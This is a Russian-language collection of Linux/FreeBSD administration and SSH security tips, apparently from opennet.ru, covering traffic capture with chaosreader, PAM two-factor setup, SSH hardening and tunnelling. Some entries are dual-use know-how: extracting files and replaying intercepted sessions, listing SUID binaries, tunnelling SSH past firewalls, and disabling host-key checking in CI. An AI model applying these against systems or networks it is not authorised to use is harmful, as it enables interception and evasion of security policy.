    ключи переданные в SSH сессии.
    Дополнительно поддерживается выделение данные из дампа трафика различных туннелей, 802.11b и PPPoE.
    
    Передав утилите chaosreader на вход накопленный дамп, на выходе получим html
    файл с анализом пересылок
    и ссылками на встретившиеся в сессии файлы.
    
    Собираем лог:
    
       tcpdump -s0 -w output1
    
    Анализируем лог и выделяем все встретившиеся файлы:
    
       chaosreader -ve output1 
    
    Анализируем только ftp и telnet трафик:
    
       chaosreader -p 20,21,23 output1 
    
    Запускаем в режиме сниффера, сбрасывающего накопленные сессии 5 раз по 2 минуты каждая:
    
      chaosreader -S 2,5
    
    В комплект входит утилита replay, позволяющая вторично проиграть сценарий
    перехваченного telnet, rlogin, IRC, X11 или VNC сеансов.
    
    
    Другие похожие утилиты:
    
    * pcapsipdump (http://sourceforge.net/projects/psipdump) -  выделение из потока SIP и RTP данных 
    для последующего прослушивания, каждая SIP сессия сохраняется в отдельный файл.
    
    * smbsniff (http://www.hsc.fr/ressources/outils/smbsniff) - позволяет сохранять
    переданные по SMB/CIFS
    протоколу файлы, присутствующие в перехваченном трафике;
    
    * Tcpreplay(http://tcpreplay.synfin.net) - набор утилит для повторного инициирования сессий 
    на основе перехваченного трафика.
    
    * Wireshark (http://www.wireshark.org/) - универсальный сниффер и комплект вспомогательных утилит,
    позволяет извлекать данные различных типов из перехваченных потоков трафика
    
     
    ----* Как разрешить доступ к точке монтирования для приложения контролируемого SELinux (доп. ссылка 1)   [обсудить]
     
    Имеется CentOS с активным  SELinux. 
    Требуется обеспечить возможность доступа Apache к примонтированному локально iso-образу, USB Flash 
    или диску, содержащему файловую систему без поддержки SELinux.
    
    Решение: при монтировании необходимо явно определить политику доступа через опцию "context=".
    По умолчанию используется "context=system_u:object_r:removable_t".
    Для apache нужно монтировать так:
    
       mount -o loop,context=system_u:object_r:httpd_sys_content_t /path/to/image.iso /var/www/html
    
     
    ----* Изменение метода хэширования паролей в Red Hat подобных дистрибутивах (доп. ссылка 1)   [комментарии]
     
    В будущих версиях RHEL и Fedora Linux появится возможность
     использования для хэширования паролей алгоритмов SHA-256 и SHA-512 
    
    В Kickstart режиме:
    
    DES
    
       authconfig --enableshadow --passalgo=descrypt
    
    MD5
    
       authconfig --enableshadow --enablemd5
    или
       authconfig --enableshadow --passalgo=md5
    
    SHA-256
    
       authconfig --enableshadow --passalgo=sha256
    
    SHA-512
    
       authconfig --enableshadow --passalgo=sha512
    
    Тип хэша также можно задать через /etc/logis.desf, присвоив переменной
     ENCRYPT_METHOD значение DES, MD5, SHA256 или SHA512
    
     
    ----* Настройка аутентификации по отпечаткам пальцев в Ubuntu Linux   [комментарии]
     
    Устанавливаем пакеты необходимые для сборки системы fprint:
      aptitude install libpam0g-dev libusb-dev libmagick9-dev libglib2.0-dev libssl-dev
      aptitude install libgtk2.0-dev libx11-dev libxv-dev # если будет сборка с поддержкой x11
    
    Загружаем libfprint и pam_fprint с сайта http://www.reactivated.net/fprint 
    Собираем стандартно через: 
       ./configure
       make
       make install
    
    Или пересобираем готовые Debian пакеты:  
    ---
       Качаем .dsc, tar.gz и diff.gz со страниц
       http://packages.debian.org/experimental/libfprint0
       http://packages.debian.org/experimental/libpam-fprint
    
       Устанавливаем доп. пакеты необходимые для сборки:
       aptitude install fakeroot autotools-dev debhelper dpkg-dev 
       
       dpkg-source -x libfprint_0.0.5-2.dsc
       cd libfprint-0.0.5
       dpkg-buildpackage -rfakeroot 
    
       Пакет libpam-fprint создается по аналогии
    ---
    
    Генерируем слепок отпечатка указательного пальца 
    (запускаем под логином для которого сохраняем отпечаток):
       pam_fprint_enroll --enroll-finger 7
    
    Для опциональной аутентификации по отпечатку (возможность ввести пароль остается), 
    в /etc/pam.d/common-auth первой строкой ставим:
       auth   sufficient      pam_fprint.so
    
    Если пускать в систему нужно только после сверки отпечатка, "sufficient" заменяем на "required".
    
    PS. В Gentoo Linux добавляем в /etc/pam.d/system-auth перед строкой c pam_unix.so
    
     
    ----* Использование login.access в FreeBSD 5.x и 6.x   Автор: 135all  [обсудить]
     
    В FreBSD есть прекрасная возможность разрешать логинится конкретным пользователям 
    только с определённых терминалов или адресов. Делается это посредством модуля pam_acct_mgmt. 
    
    Для этого редактируем файл /etc/login.access:
    
       -:root:ALL #запрещаем любые логины root
       -:ALL:ttyv0 # первая консоль только для логов
       +:dm:ttyv1 ttyv2 ttyv3 ttyv4 ttyv5 ttyv6 ttyv7 ttyv8 # доступ с консоли
       +:dm:10.1.1.1 192.168.6.100 # доступ по сети(тут указывать либо ip, либо 
            # доменное имя. Для ssh рекомендую UseDNS no в /etc/ssh/sshd_config)
       -:ALL:ALL # всё остальное запрещено
    
    ВАЖНО! начиная с версии 5.2 su стал проверять "target user" по login.access, те
    при таких настройках
    можно будет залогинится, но su не будет работать - pam_login_access: 
       pam_sm_acct_mgmt: root is not allowed to log in on /dev/ttyp3 su: Sorry. 
    
    Для исправления надо редактировать /etc/pam.d/su:
    
       account
       #account                include         system #закомментировать
       account         required        pam_unix.so # добавить
    
     
    ----* Как найти все SUID программы на машине   [обсудить]
     
    Все SUID и SGID программы:
    find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
    Только SUID ROOT:
    find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;
    
     
    ----* Борьба с троллингом на opennet.ru при помощи uBlock Origin   Автор: уля  [комментарии]
     
    В последнее время на портале opennet.ru участились случаи троллинга и
    провокационных постов в новостях. Читатели, не желающие видеть комментарии
    и/или новости от какого-либо конкретного пользователя могут скрыть их при
    помощи пользовательских фильтров uBlock Origin. Это позволит сэкономить время и
    нервы при посещении ресурса.
    
    Правило для вырезания тела новости через определение автора по ссылке на профиль пользователя:
    
       www.opennet.ru##table.ttxt2:nth-of-type(2):has(a[href="ссылка_на_профиль"])
    
    Скрытие комментариев посредством удаления 4 родительских элементов (блок
    комментария) перед ссылкой на профиль:
    
       www.opennet.ru##a[href="ссылка_на_профиль"]:nth-ancestor(4)
    
    
    Пример
    
    Например, для скрытия новостей и комментариев пользователя QwertyReg правила будут выглядеть так:
    
       ! Скрыть новости от QwertyReg
       www.opennet.ru##table.ttxt2:nth-of-type(2):has(a[href="/~QwertyReg"])
    
       ! Скрыть комментарии от QwertyReg
       www.opennet.ru##a[href="/~QwertyReg"]:nth-ancestor(4)
    
    
    Дополнение: Для рекурсивного скрытия комментариев можно использовать штатную функцию
    игнорирования участников.
    
     
    ----* Возможные проблемы с настройками пакета tor в Debian по умолчанию (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Пользователям пакетов, зависимых  от пакета tor в Debian, следует проявить
    осторожность. Файл конфигурации, идущий с пакетом tor, закомментирован почти
    полностью, включая места, запрещающие узлу работать в режиме выходного узла
    Tor. Настройки по умолчанию ( ExitRelay = "auto") подразумевают работу как
    выходного узла при определённых условиях (если активна одна из опций -
    ExitPolicy, ReducedExitPolicy или IPv6Exit).
    
    Проблему усугубляет то, что от пакета tor зависит apt-transport-tor, что может
    привести к ситуации, когда пользователь не разбираясь установил пакет для
    большей безопасности, а получил доступ всех подряд в свою внутреннюю сеть и
    перспективу претензий со стороны правоохранительных органов, как в деле
    Дмитрия Богатова.
    
    Дополнение: По умолчанию активация tor не подтверждена, по крайней мере в
    Debian Stable, если действия пользователя не привели к изменению настроек
    ExitPolicy, ReducedExitPolicy и IPv6Exit.
    
     

       Ограничение доступа и безопасность Apache:

       ipfw, IP-Filter:

       iptables, ipchains:

       Безопасность почтовой подсистемы:

       Увеличение безопасности FreeBSD:

       Увеличение безопасности Linux:

       SSH

    ----* Проброс доступа к SSH через HTTPS (доп. ссылка 1)   [комментарии]
     
    Для организации подключения к SSH-серверу из окружений, в которых заблокирован
    любой трафик, кроме HTTP/HTTPS, можно настроить проброс к SSH на основе
    внешнего HTTP-прокси.
    
    На локальной системе, из которой производится подключение по SSH, добавляем в
    файл конфигурации ~/.ssh/config настройку для проброса доступа к SSH-сервру с
    именем "ssh-server" через обращение к хосту "ssh-via-https" утилитой ssh:
    
    
    .ssh/config
    
       Host ssh-via-https
            ProxyCommand ~/.ssh/https-tunnel.bash
            # уменьшаем интервал проверочных запросов для поддержания соедиения, 
            # так как некоторые межсетевые экраны агрессивно закрывают неактивные соединения.
            ServerAliveInterval 30
    
    Создаём скрипт ~/.ssh/https-tunnel.bash, в котором симулируем использование
    прокси-метода CONNECT при подключении к HTTPS-серверу "https-server" через
    утилиту socat, которая не поддерживает данный метод.
    
       #!/usr/bin/env bash
       { printf "CONNECT ssh-server:22 HTTP/1.0\r\n\r\n"; cat; } | socat - SSL:https-server:443
    
    На стороне внешнего HTTP-сервера "https-server" в конфигурации Apache httpd
    включаем модуль proxy_connect_module и разрешаем перенаправление запросов на 22
    сетевой порт SSH-сервера "ssh-server".
    
    /etc/httpd/httpd.conf
    
       LoadModule proxy_connect_module .../modules/mod_proxy_connect.so
       # ...
       AllowCONNECT 22
       <Proxy *>
           Order deny,allow
           Deny from all
       </Proxy>
       <Proxy ssh-server>
           Order deny,allow
           Allow from all
       </Proxy>
    
    Подключаемся к SSH-серверу "ssh-server" командой:
    
       ssh ssh-via-https
    
     
    ----* Использование SSH поверх UNIX-сокета вместо sudo (доп. ссылка 1)   [комментарии]
     
    Тимоти Равье (Timothee Ravier) из компании Red Hat, мэйнтейнер проектов Fedora
    Silverblue и Fedora Kinoite, предложил заслуживающий внимания способ ухода
    от применения утилиты sudo, использующей  suid-бит для повышения привилегий.
    Вместо sudo для выполнения обычным пользователем команд с правами root
    предлагается задействовать утилиту ssh с локальным соединением к той же системе
    через UNIX-сокет.
    
    Проверка полномочий осуществляется на основе SSH-ключей. Для ограничения доступ
    дополнительно может быть задействовано подтверждение полномочий при помощи
    USB-токена (например, Yubikey). Использование ssh вместо sudo позволяет
    избавиться от suid-программ в системе и организовать  выполнение
    привилегированных команд в хост-окружении дистрибутивов, использующих
    контейнерную изоляцию компонентов, таких как Fedora Silverblue, Fedora Kinoite,
    Fedora Sericea и Fedora Onyx.
    
    Настраиваем серверные компоненты OpenSSH для доступа через локальный Unix-сокет
    (будет запускаться отдельный экземпляр sshd со своим файлом конфигурации):
    
    /etc/systemd/system/sshd-unix.socket:
    
       [Unit]
       Description=OpenSSH Server Unix Socket
       Documentation=man:sshd(8) man:sshd_config(5)
    
       [Socket]
       ListenStream=/run/sshd.sock
       Accept=yes
    
       [Install]
       WantedBy=sockets.target
    
    
    
    /etc/systemd/system/sshd-unix@.service:
    
       [Unit]
       Description=OpenSSH per-connection server daemon (Unix socket)
       Documentation=man:sshd(8) man:sshd_config(5)
       Wants=sshd-keygen.target
       After=sshd-keygen.target
    
       [Service]
       ExecStart=-/usr/sbin/sshd -i -f /etc/ssh/sshd_config_unix
       StandardInput=socket
    
    
    /etc/ssh/sshd_config_unix:
    
       # Оставляет только аутентификацию по ключам
       PermitRootLogin prohibit-password
       PasswordAuthentication no
       PermitEmptyPasswords no
       GSSAPIAuthentication no
    
       # ограничиваем доступ выбранным пользователям
       AllowUsers root adminusername
    
       # Оставляем только использование .ssh/authorized_keys (без .ssh/authorized_keys2
       AuthorizedKeysFile .ssh/authorized_keys
    
       # включаем sftp
       Subsystem sftp /usr/libexec/openssh/sftp-server
    
    
    Активируем и запускаем юнит systemd:
    
       sudo systemctl daemon-reload
       sudo systemctl enable --now sshd-unix.socket
    
    
    Добавляем свой SSH-ключ в /root/.ssh/authorized_keys
    
    
    Настраиваем работу SSH-клиента.
    
    Устанавливаем утилиту socat:
    
       sudo dnf install socat
    
    Дополняем /.ssh/config, указав socat в качестве прокси для доступа через UNIX-сокет:
    
       Host host.local
           User root
           # Используем /run/host/run вместо /run для работы из контейнеров
           ProxyCommand socat - UNIX-CLIENT:/run/host/run/sshd.sock
    
           # Путь к SSH-ключу
           IdentityFile ~/.ssh/keys/localroot
    
           # Включаем поддержку TTY для интерактивной оболочки
           RequestTTY yes
    
           # Убираем лишний вывод
           LogLevel QUIET
    
    В текущем виде пользователь adminusername теперь сможет выполнить команды с
    правами root без ввода пароля. Проверяем работу:
    
       $ ssh host.local
       [root ~]#
    
    
    Создаём в bash псевдоним sudohost для запуска "ssh host.local" по аналогии с sudo:
    
       sudohost() {
           if [[ ${#} -eq 0 ]]; then
               ssh host.local "cd \"${PWD}\"; exec \"${SHELL}\" --login"
           else
               ssh host.local "cd \"${PWD}\"; exec \"${@}\""
           fi 
       }
    
    Проверяем:
    
       $ sudohost id
       uid=0(root) gid=0(root) groups=0(root) 
    
    
    Добавляем проверку полномочий и включаем двухфакторную аутентификацию,
    допускающую доступ к root только при вставке USB-токена Yubikey.
    
    Проверяем, какие алгоритмы поддерживает  имеющийся Yubikey:
    
       lsusb -v 2>/dev/null | grep -A2 Yubico | grep "bcdDevice" | awk '{print $2}'
    
    Если выведено 5.2.3 или большее значение, используем ed25519-sk при генерации
    ключей, иначе - ecdsa-sk:
    
       ssh-keygen -t ed25519-sk
    или
       ssh-keygen -t ecdsa-sk
    
    Добавляет открытый ключ в /root/.ssh/authorized_keys
    
    Добавляем привязку к типу ключа в конфигурацию sshd:
    
    /etc/ssh/sshd_config_unix:
    
       PubkeyAcceptedKeyTypes sk-ecdsa-sha2-nistp256@openssh.com,sk-ssh-ed25519@openssh.com
    
    Ограничиваем доступ к Unix-сокету только пользователя, которому можно повышать
    привилегии (в нашем примере - adminusername). В
    /etc/systemd/system/sshd-unix.socket добавляем:
    
       [Socket]
       ...
       SocketUser=adminusername
       SocketGroup=adminusername
       SocketMode=0660
    
     
    ----* Преобразование закрытого ключа PuTTY для использования в OpenSSH  (доп. ссылка 1)   [комментарии]
     
    Для преобразования можно использовать утилиту puttygen из пакета putty-tools или putty.
    
    Debian/Ubuntu:
      
       sudo apt-get install putty-tools
    
    Fedora:
    
       sudo yum install putty
    
    
       puttygen putty.ppk -O private-openssh -o ~/.ssh/id_putty
       puttygen putty.ppk -O public-openssh  -o ~/.ssh/id_putty.pub
       chmod 0600 ~/.ssh/id_putty
       chmod 0644 ~/.ssh/id_putty.pub
    
    
    Для подключения к хосту с закрытым ключом, преобразованным из ключа PuTTY:
    
       ssh user@host -i ~/.ssh/id_putty
    
     
    ----* Использование SSH-ключей в Gitlab CI   Автор: Ilya  [комментарии]
     
    Многие хотят использовать ssh ключи в своих CI/CD (не одобряю), но давайте делать это правильно:
    
       before_script:
        - '[[ ! -d /root/.ssh ]] && mkdir /root/.ssh && chmod 700 /root/.ssh'
        - '[[ -f /.dockerenv ]] && echo -e "Host *\\n\\tStrictHostKeyChecking no\\n\\n" > ~/.ssh/config'
        - 'which ssh-agent || (yum install openssh-clients -y; yum clean all -y )'
        - eval $(ssh-agent -s)
        - ssh-add <(echo "$SSH_PRIVATE_KEY")
        - mkdir -p ~/.ssh
    
    В $SSH_PRIVATE_KEY устанавливаем "protected" переменную в интерфейсе самого
    Gitlab (repo->settings->ci/cd-> vars )
    
    Данный сниппет рассчитан на CentOS, но легко адаптируется по любую ОС, работает
    в докер окружении (см. строку #2). При таком подходе больше нет нужды помещать
    id_rsa в репозитории (ему там и не место).
    
     
    ----* Генерация конфигурации клиента OpenSSH из inventory.ini в Ansible   Автор: Ilya  [комментарии]
     
    Часто на работе приходится разыскивать серверы, грепать из inventory.ini. Но
    почему бы Ansible не позаботится о нас. Настраиваем генерацию ~/.ssh/config из inventory.ini:
    
       cat ssh-config.yml:
       ---
       - name: Generate ssh client configuration from ansible inventory
         hosts: localhost
         connection: local
         gather_facts: no
         vars:
           title: "EasyConfig by Ansible"
           ssh_config_path: ssh_config.txt
         tasks:
           - name: ensure config for each host of inventory exist
             template: src="ssh_config.j2" dest="{{ ssh_config_path }}"
             when: ssh_config_path != ""
    
    
       cat ssh-config.j2 :
          #### {{ title }} Begin ####
       
       {% for host in groups.all | sort() | list %}
       
       {% if host != "localitem" and host != "127.0.0.1" and host != "localhost" %}
       Host {{hostvars[host].inventory_hostname}}
       {% if hostvars[host].ansible_host is defined and hostvars[host].ansible_host != "" %}  HostName {{hostvars[host].ansible_host}}
       {% else %}  HostName {{hostvars[host].inventory_hostname}}
       {% endif %}
       {% if hostvars[host].ansible_ssh_port is defined %}  Port {{hostvars[host].ansible_ssh_port}}
       {% endif %}
       {% endif %}
       {% endfor %}
       
       # Defaults
       Host *
           User root
           Port 22
    
       
       #### {{ title }} End ####
    
    
    Получившийся ssh_config.txt - внимательно осматриваем и добавляем (или нет)  к
    своему ~/.ssh/config.
    
    Как профит имеем автокомплит по серверам (можно добавить префикс), не тратим
    время на grep hostname Passwords_Hosts.txt можем прямо из Ansible управлять процессом.
    
     
    ----* Еscape-последовательности в сеансе OpenSSH   [комментарии]
     
    В сеансе удалённого входа через OpenSSH можно использовать
    escape-последовательность "~" (действует только в начале новой строки, в
    которой не было ввода, поэтому перед "~" лучше нажать Enter) для запуска ряда
    полезных команд. Например, можно набрать "~C", а затем ввести "-D 1080" для
    запуска SOCKS-прокси или "-L 80:localhost:8000" для проброса сетевого порта без
    запуска отдельного сеанса.
    
    Поддерживаемые управляющие последовательности:
    
      ~.  - принудительное завершение сеанса (например, при зависании соединения);
      ~B  - отправка команды BREAK;
      ~C  - открытие командной строки для динамической установки некоторых опций командной строки. 
            Поддерживается установка опций  "-L", "-R", "-D" (разные виды проброса) и "-KR" (отмена проброса);
      ~R  - инициирование обновления ключей;
      ~ Ctrl+Z - приостановка сеанса с возвращением в shell, для возврата следует выполнить команду fg;
      ~#  - вывод списка перенаправленных соединений;
      ~&  - завершить работу в фоне (при ожидании завершения соединений);
      ~?  - вывод подсказки по командам;
      ~~  - отображение escape-символа.
    
     
    ----* Настройка SSH для использования наиболее защищённых алгоритмов шифрования (доп. ссылка 1)   [комментарии]
     
    В свете появления сведений об организации АНБ атак, направленных на
    получение контроля над SSH-соединениями, подготовлено руководство с
    рекомендациями по усилению защищённости SSH. АНБ может получить контроль за
    SSH-соединением  в случае использования уязвимых методов шифрования или в
    результате захвата приватных ключей. Ниже представлены советы по отключению
    потенциально проблемных алгоритмов и усилению защиты.
    
    
    Обмен ключами.
    
    Применяемые в SSH методы обмена ключей  DH (Diffie-Hellman) и ECDH (Elliptic
    Curve Diffie-Hellman) можно считать безопасными. Из 8 поддерживаемых в SSH
    протоколов обмена ключами вызывают подозрения три,  основанные на рекомендациях
    NIST: ecdh-sha2-nistp256, ecdh-sha2-nistp384, ecdh-sha2-nistp521. Не
    заслуживающими полного доверия также можно считать протоколы, использующие
    потенциально проблемный SHA1. Протоколы curve25519-sha256 и diffie-hellman-group-exchange-sha256
     пока не вызывают сомнений в безопасности.
    
    Для использования только заслуживающих доверия протоколов обмена ключами в
    /etc/ssh/sshd_config  для сервера следует указать:
    
        KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
    
    Аналогичные настройки для клиента, в /etc/ssh/ssh_config:
    
       Host *
          KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
    
    В /etc/ssh/moduli можно указать (или удалить строки с размером ключа, менее 2048):
    
       ssh-keygen -G /tmp/moduli -b 4096
       ssh-keygen -T /etc/ssh/moduli -f /tmp/moduli
    
    
    Аутентификация.
    
    В SSH поддерживается четыре алгоритма аутентификации по открытым ключам: DSA,
    ECDSA,  Ed25519 и RSA. ECDSA завязан на технологиях NIST и должен быть
    отключен. К сожалению, если просто удалить ключ ECDSA, он будет повторно
    сгенерирован, поэтому можно воспользоваться обходным путём с создать заведомо
    нерабочую символическую ссылку, которая помешает сгенерировать и использовать ключ:
    
       cd /etc/ssh
       rm ssh_host_ecdsa_key*
       rm ssh_host_key*
       ln -s ssh_host_ecdsa_key ssh_host_ecdsa_key
       ln -s ssh_host_key ssh_host_key
    
    Так как размер ключей DSA  не может превышать 1024, его тоже следует отключить тем же способом:
    
       cd /etc/ssh
       rm ssh_host_dsa_key*
       ln -s ssh_host_dsa_key ssh_host_dsa_key
    
    Далее, следует позаботиться о RSA, сгенерировав ключ большего размера:
    
       cd /etc/ssh
       rm ssh_host_rsa_key*
       ssh-keygen -t rsa -b 4096 -f ssh_host_rsa_key < /dev/null
    
    Для создания клиентских ключей лучше использовать команды:
    
       ssh-keygen -t ed25519
       ssh-keygen -t rsa -b 4096
    
    
    Симметричные шифры.
    
    Из 15 поддерживаемых в SSH алгоритмов симметричного шифрования, используемых
    для организации защиты установленного канала связи, безопасными можно считать
    chacha20-poly1305, aes*-ctr и aes*-gcm. Шифры 3des-cbc и arcfour потенциально
    уязвимы в силу использования DES и RC4, cast128-cbc применяет слишком короткий
    размер блока (64 бит).
    
    В итоге, в /etc/ssh/sshd_config рекомендуется добавить:
    
       Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
    
    В /etc/ssh/ssh_config:
    
       Host *
          Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
    
    Код аутентичности сообщения (MAC).
    
    Для шифров в режиме  CTR для гарантирования  целостности передаваемых блоков
    доверия заслуживает только метод Encrypt-then-MAC ("*-etm", MAC добавляется  к
    уже зашифрованному блоку). Методы MAC-then-encrypt и Encrypt-and-MAC
    потенциально подвержены атакам. Из 18 доступных в SSH алгоритмов MAC  сразу
    следует отбросить основанные на хэшах  MD5 и SHA1, не стойких к выявлению
    коллизий, а также алгоритмы использующие размеры ключей менее 128 бит и размеры
    тегов менее 256 бит. В итоге, наиболее безопасными MAC  можно считать
    hmac-sha2-512-etm и hmac-sha2-256-etm.
    
    В /etc/ssh/sshd_config:
    
       MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
    
    В /etc/ssh/ssh_config:
    
       # Для GitHub в качестве исключения добавляем mac-sha2-512, так как он не поддерживает Encrypt-then-MAC.
       Host github.com
           MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512
    
       Host *
          MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com
    
    
    Защита от утечки ключей.
    
    Наиболее простым способом получения контроля за SSH-соединением является захват
    ключей на стороне клиента или сервера. Рекомендации сводятся к соблюдению
    типовых правил поддержания безопасности системы: оперативная установка
    обновлений, установка программ только из надёжных источников, установка только
    действительно необходимых программ и сервисов, использование программ для
    которых доступны исходные тексты, включение дополнительных механизмов защиты
    (Grsecurity, сборка с флагом -fstack-protector).
    
    Для защиты ключей следует выбрать надёжный пароль доступа к клиентским файлам
    ключей. При формировании ключа для увеличения числа итераций хэширования можно
    использовать опцию "ssh-keygen -o -a число", что  усложнит подбор пароля. Также
    можно сохранить ключи только на внешнем носителе, подключая его только во время
    соединения по SSH.
    
    Защита от анализа транзитного трафика.
    
    SSH-сервер можно настроить в виде скрытого сервиса Tor, что скроет IP, а также
    добавит дополнительный слой шифрования и аутентификации.
    
    Для приема соединений только через скрытый сервис Tor можно использовать следующие настройки:
    
    В /etc/ssh/sshd_config (для приема соединений из LAN следует вместо привязки к
    127.0.0.1 использовать для ограничения доступа межетевой экран):
    
       ListenAddress 127.0.0.1:22
    
    В /etc/tor/torrc добавим:
    
       HiddenServiceDir /var/lib/tor/hidden_service/ssh
       HiddenServicePort 22 127.0.0.1:22
    
    Имя скрытого хоста для подключения можно найти в файле /var/lib/tor/hidden_service/ssh/hostname. 
    
    Для настройки подключения клиента к скрытому сервису Tor в  /etc/ssh/ssh_config можно добавить:
    
       Host *.onion
           ProxyCommand socat - SOCKS4A:localhost:%h:%p,socksport=9050
    
     
    ----* Применение двухфакторной аутентификации для SSH и GDM средствами Google Authenticator (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    При применении двухфакторной аутентификации, кроме традиционного логина/пароля
    или ключа требуется ввести код подтверждения, получаемый с устройства, заведомо
    принадлежащего владельцу аккаунта. Наиболее простым способом является
    использование открытого проекта  Google Authenticator, который предоставляет
    мобильное приложение для генерации одноразовых паролей (TOTP) и PAM-модуль для
    установки на стороне сервера.
    
    На сервере устанавливаем PAM-модуль и утилиту настройки, которые во многих
    дистрибутивах содержится в пакете google-authenticator:
    
       sudo yum install google-authenticator
    
    Устанавливаем на мобильный телефон приложение Google Authenticator, которое
    доступно для Android, iOS, Firefox OS и других платформ.
    
    На сервере под учётной записью пользователя, для которого хотим включить
    двухфакторную аутентификацию, запускаем команду:
    
        google-authenticator
    
    которая отобразит картинку с QRcode, которую необходимо снять через камеру
    телефона из мобильного приложения Google Authenticator, а также покажет коды
    экстренного восстановления, которые позволят восстановить доступ в случае
    потери смартфона.
    
    Для включения  двухфакторной аутентификации в SSH на сервере активируем
    PAM-модуль, добавив в /etc/pam.d/sshd строку:
     
       auth required pam_google_authenticator.so
     
    В конфигурации OpenSSH /etc/ssh/sshd_config активируем опцию ChallengeResponseAuthentication:
      
       ChallengeResponseAuthentication yes
    
    Не забываем перезапустить sshd:
    
       sudo service sshd restart
    
    Теперь при попытке входа по SSH потребуется ввести не только пароль, но и
    действующий несколько секунд одноразовый код, который следует получить из
    мобильного приложения.
    
       Verification code: ********
       Password: ********
    
    
    
    Кроме SSH, на рабочей станции можно добавить поддержку двухфакторной
    аутентификации в экранный менеджер GDM, для этого добавим в файл
    /etc/pam.d/gdm-password строку:
     
       auth required pam_google_authenticator.so
    
    При следующем входе, кроме пароля GDM  запросит одноразовый код подтверждения.
    
     
    ----* Двухфакторная аутентификация SSH с использованием YubiKey (доп. ссылка 1)   Автор: Dvenum  [комментарии]
     
    Все началось с того, что я приобрел YubiKey и захотел использовать его для
    двухфакторной аутентификации SSH. Я также хотел иметь возможность восстановить
    доступ к серверу на случай, если потеряю ключ. Информация о том, как это
    сделать, слишком разрознена, поэтому я написал собственное руководство.
    
    Вещи, которые необходимо знать:
    
    * HOTP -- это алгоритм генерации одноразового пароля на основе счетчика.
    Счетчик меняется каждый раз, когда генерируется новый пароль.
    * TOTP -- алгоритм генерации пароля в зависимости от таймера, регулярно
    генерируется новый пароль. (30 секунд в этом случае).
    
    В результате, вы входите через SSH, видите запрос пароля и вводите пароль,
    предоставленный OTP, системой одноразовых паролей (one-time password) от YubiKey.
    
    Для аварийного доступа я настроил возможность аутентификации с помощью
    Android-приложения Google Authenticator. Я настраивал все на Debian Wheezy
    сервере, но это должно работать и для других похожих систем.
    
    Вам необходимо установить libpam-oath на сервере (>=1.12.4-1 или вы не сможете
    использовать аварийный вход).
    На вашем компьютере необходимо установить yubikey-personalization-gui, oathtool
    и libmime-base32-perl.
    
    Когда вы установите необходимые программы и библиотеки, то прежде, чем
    приступать к настройке, убедитесь, что у вас открыт дополнительный терминал с
    правами root, чтобы можно было исправить возможные ошибки.
    
    Ключ ниже указан просто для примера, вам необходимо подставить свой.
    
    Настройка YubiKey.
    
    Для начала, используем yubikey-personalisation-gui, чтобы настроить YubiKey и
    сгенерировать ключ. Укажите OATH-HOTP режим, отключите token идентификацию и
    скопируйте ключ куда-нибудь, он понадобится для настройки сервера. Не забудьте
    сохранить настройки в YubiKey.
    
    Создайте файл /etc/users.oath на сервере с содержанием:
    
       HOTP robin - 8a54ac40689f0bb99f306fdf186b0ef6bd153429
    
    где robin это имя пользователя, использующего ключ, а большая шестнадцатиричная
    строка это ключ без пробелов, который вы сгенерировали ранее.
    
    Установите возможность читать файл только для root:
    
       # chmod 600 /etc/users.oath
    
    Измените /etc/pam.d/sshd таким образом, чтобы строка
    
       @include common-auth
    
    была раскомментирована, а после нее добавьте следующее:
    
       auth required pam_unix.so nullok_secure
    
       # OATH OTP
       auth required pam_oath.so usersfile=/etc/users.oath window=20
    
    window=20 указывает, как много раз может быть нажата кнопка на YubiKey перед
    входом. Иными словами, как далеко в последовательности OTP модуль будет искать совпадение.
    
    Измените sshd_config, чтобы он разрешал вызов-ответ (Challenge-Response) аутентификацию.
    
       sed -i.bak -E -e 's/(ChallengeResponseAuthentication) no/\\1 yes/' /etc/ssh/sshd_config
    
    Вы можете проверить последовательность следующим образом:
    
       $ oathtool -w10 8a54ac40689f0bb99f306fdf186b0ef6bd153429
       333518
       886962
       ...
    
    Если вы нажмете кнопку на YubiKey несколько раз, вы дожны увидеть точно такую
    же последовательность.
    
    Перезапустите ssh демон и все должно работать. Вам нужно ввести пароль, вы
    нажимаете на кнопку YubiKey.
    
    Настройка Google Authenticator
    
    Это будет аварийным входом на случай, если вы потеряете ключ. Используем здесь
    повременной счетчик TOTP вместо счетчика на основе последовательности.
    
    Для начала сгенерируйте случайный десятибайтовый ключ (20 символов в шестнадцатиричном виде):
    
       $ head -c 1024 /dev/urandom | openssl sha1 | tail -c 21 
       2c2d309a7a92e117df5a
    
    Добавьте строку в /etc/users.oath:
    
       HOTP/T30 robin - 2c2d309a7a92e117df5a
    
    T30 означает, что используется повременной алгоритм с 30-и секундной ротацией.
    
    Перед тем, как добавить этот же ключ в android приложение, мы должны представить его в base32 виде:
    
       $ perl -e 'use MIME::Base32 qw( RFC ); print  lc(MIME::Base32::encode(pack("H*","2c2d309a7a92e117df5a")))."\\n";'
       fqwtbgt2slqrpx22
    
    Эта команда на perl из шестнадцатиричного ключа сначала получает двоичный,
    который потом преобразовывает в base32.
    Проверить, что все работает, можно так:
    
       $ oathtool --totp -w10 2c2d309a7a92e117df5a
       125557
       804612
       ...
    
    Последовательность должна совпадать с той, которую отдает android приложение.
    Поскольку алгоритм генерации основывается на времени, то разница времени на
    устройствах должна не превышать пары секунд.
    
    Теперь вы можете войти на сервер через повременной ключ, сгенерированный
    приложением или с помощью пароля, сгенерированным нажатием на кнопку YubiKey.
    
    Примечания
    
    Когда вы залогиньтесь, файл users.oath будет изменен, в него будет записано
    новое значение счетчика и время. Убедитесь, что файл не открыт в текстовом редакторе.
    
